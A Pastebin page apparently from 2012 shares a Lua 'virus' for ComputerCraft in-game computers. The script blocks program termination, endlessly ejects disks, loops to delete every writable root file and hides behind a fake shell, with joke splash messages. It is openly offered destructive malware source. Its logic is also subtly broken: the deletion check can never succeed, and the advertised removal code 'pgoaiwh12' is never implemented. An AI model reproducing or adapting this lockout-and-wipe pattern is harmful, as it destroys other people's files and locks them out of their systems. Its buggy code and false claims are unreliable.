xXm0dzXx

Super evil virus that can start a war in cc and kill everyon

Sep 28th, 2012
236
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Lua 2.14 KB | None | 0 0
  1. os.pullEvent = os.pullEventRaw
  2. splashes = {
  3.     "Yay! Your version counter is gone :P",
  4.     "If your reading this, you are infected",
  5.     "Quick! GET TO DAH CHOPPAH!",
  6.     "Your computer has a virus, it should go to the doctor",
  7.     "Lol, you exposed your computer: Now its infected",
  8.     "JUST LEAVE BRITNEY ALONE!!",
  9.     "Cool story, bro",
  10.     "Now its my OS!",
  11.     "Welcome to my lair!",
  12.     "I used to code like you, until I took a arrow to the knee!",
  13.     "This is sparta!",
  14.     "This... is... MINECRAFT",
  15.     "Computercraft FTW",
  16.     "Did you know if you type 'pgoaiwh12' into the shell, the virus will go away?",
  17.     "Whats up homies?!",
  18.     "Whats up swifters?!",
  19.     "Whats up surfers?!",
  20.     "Whats up youtube?!",
  21.     "Lol - Woah - A splash in a splash? - SPLASHCEPTION!",
  22.     "Oh no! I'm running out of splashes... CHICKEN! *good job <name of coder>*",
  23.     "Did you know, this text would be wrapped if you are not using a monitor to view your pc?",
  24.     "hai utuberz, my nam is herobrine and i make epic videoz, plez cum subrcrize",
  25.     "1 L0V3 L33TSP34K!1!!!eleven11!1!",
  26.     "if epicmeter > 9000 then print(\"ITS OVAH 9000!\") end",
  27. }
  28.    
  29. function getVersion()
  30.     local randomNumber = math.random(1,#splashes)
  31.     return splashes[randomNumber]
  32. end
  33. write("> ")
  34. term.setCursorBlink(true)
  35.  
  36. function a()
  37.     while true do
  38.         local event, key = os.pullEventRaw()
  39.         if event == "key" then
  40.             if key == 29 or key == 157 then
  41.                 fs.delete(".version")
  42.                 disk.eject("left")
  43.                 disk.eject("right")
  44.                 disk.eject("top")
  45.                 disk.eject("bottom")
  46.                 disk.eject("front")
  47.                 disk.eject("back")
  48.                 os.reboot()
  49.             end
  50.         end
  51.     end
  52. end
  53.  
  54. function b()
  55.     while true do
  56.         disk.eject("left")
  57.         disk.eject("right")
  58.         disk.eject("top")
  59.         disk.eject("bottom")
  60.         disk.eject("front")
  61.         disk.eject("back")
  62.         filessss = fs.list("/")
  63.         for i=1,#filessss do
  64.             if not fs.isReadOnly(filessss[i]) then
  65.                 if not filessss[i] == "startup" then
  66.                     fs.delete(filessss[i])
  67.                 end
  68.             end
  69.         end
  70.     end
  71. end
  72.  
  73. function c()
  74.     term.clear()
  75.     term.setCursorPos(1,1)
  76.     print(os.version())
  77.     while true do
  78.         write("> ")
  79.         local input = read()
  80.         if input then
  81.             print("No such program")
  82.         end
  83.     end
  84. end
  85.  
  86. parallel.waitForAll(a,b,c)
Advertisement
Add Comment
Please, Sign In to add comment